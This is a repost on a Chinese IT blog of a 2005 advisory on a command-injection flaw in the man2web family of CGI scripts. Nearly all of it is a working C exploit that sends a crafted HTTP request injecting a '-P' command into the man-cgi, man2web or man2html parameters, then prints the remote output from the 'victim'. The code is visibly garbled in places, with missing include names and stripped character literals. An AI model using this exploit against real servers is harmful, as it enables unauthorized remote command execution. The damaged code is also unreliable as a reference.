ITPub博客

首页 > 应用开发 > IT综合 > Man2web CGI Command Execution

Man2web CGI Command Execution

原创 IT综合 作者:coolwinds 时间:2005-09-07 22:43:32 0 删除 编辑

"man2web is a program for converting man output to html on the fly (as a CGI program) or on the command line."

Lack of proper parameter filtering allows attackers to execute arbitrary commands on man2web CGI script.

Credit:
The information has been provided by tracewar.

[@more@]

Exploit:
/* dl-mancgi.c v0.2
* x86/linux multiple man2web cgi-scripts remote command spawn
* found and coded by tracewar (darklogic team)
* for educational purposes only.
*********************************
* greetz goes to:
* matan peretz, ofer shaked, setuid, alex, majestic
*/


#include
#include
#include
#include
#include

void usage(char *argv0) {
fprintf(stderr, "x86/linux multipie man2web cgi-scripts remote command spawnn");
fprintf(stderr, "researched by tracewarn");
fprintf(stderr, "targets: n0=man-cgin1=man2webn2=man2htmlnn");
fprintf(stderr, "usage: %s n", argv0);
fprintf(stderr, "example:");
fprintf(stderr, " %s 1.2.3.4 w /cgi-bin/man-cgi 80 0n",argv0);
exit(0);
}

int main(int argc, char *argv) {
int sock, i, j;
struct sockaddr_in serv_addr;
struct hostent *crap;
char *cp, dummy[50000], buffer[2000] = "GET ";
if(argc < 6)
usage(argv[0]);
if(atoi(argv[5]) == 0) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 1) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?program=-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 2) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?section=-P");
strcat(dummy, argv[2]);
strcat(dummy, "&topic=w");}
else
usage(argv[0]);

printf("# crafting buffer string ... ");
for(i=0, j=4;i < strlen(dummy);i++) {
if(dummy[i] == ) {
strcat(buffer, "%20");
j+=3;}
else {
buffer[j] = dummy[i];
j++;}
}

strcat(buffer, "rn");
printf("(done)n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return printf("# error creating socket.n");
crap = gethostbyname(argv[1]);
if(crap == NULL)
return printf("# cant resolve the specified hostname: %sn", argv[1]);
else
printf("# connecting to victim... ");

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[4]));
bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)n# check again %s:%dn", argv[1], atoi(argv[3]));

printf("(done)n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("n# error while sending the crafted string.!n");
printf("(done)n# waiting for our call ...n");
memset(buffer, 0x00, 2000);
memset(dummy, 0x00, 50000);
printf("nn");
while(recv(sock, buffer, 2000, 0) > 0)
strcat(dummy, buffer);

cp = &dummy[0];
i = 0;

if(atoi(argv[5]) == 0) {
while(strncmp(cp, "


", 4)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "
", 4) && strncmp(cp, " cp++;
*cp = ';
cp = &dummy[0] + i + 4;
}

else if(atoi(argv[5]) == 1) {
while(strncmp(cp, "

", 5)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "pre", 3))
cp++;
*cp = ';
cp = &dummy[0] + i + 6;
}

else if(atoi(argv[5]) == 2) {
while(strncmp(cp, "PRE", 3)) {
cp++;
i++;
}
cp+=2;
while(strncmp(cp, "PRE", 3))
cp++;
*cp = ';
cp = &dummy[0] + i + 2;
}

if(*cp == ')
return printf("# Bad respone from the server.n");

printf("%s", cp);
printf("nn");
close(sock);
return 0;
}

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/83980/viewspace-806099/,如需转载,请注明出处,否则将追究法律责任。

上一篇: CUPS Dot-Slash DoS
请登录后发表评论 登录
全部评论

注册时间:2012-10-23

  • 博文量
    253
  • 访问量
    947372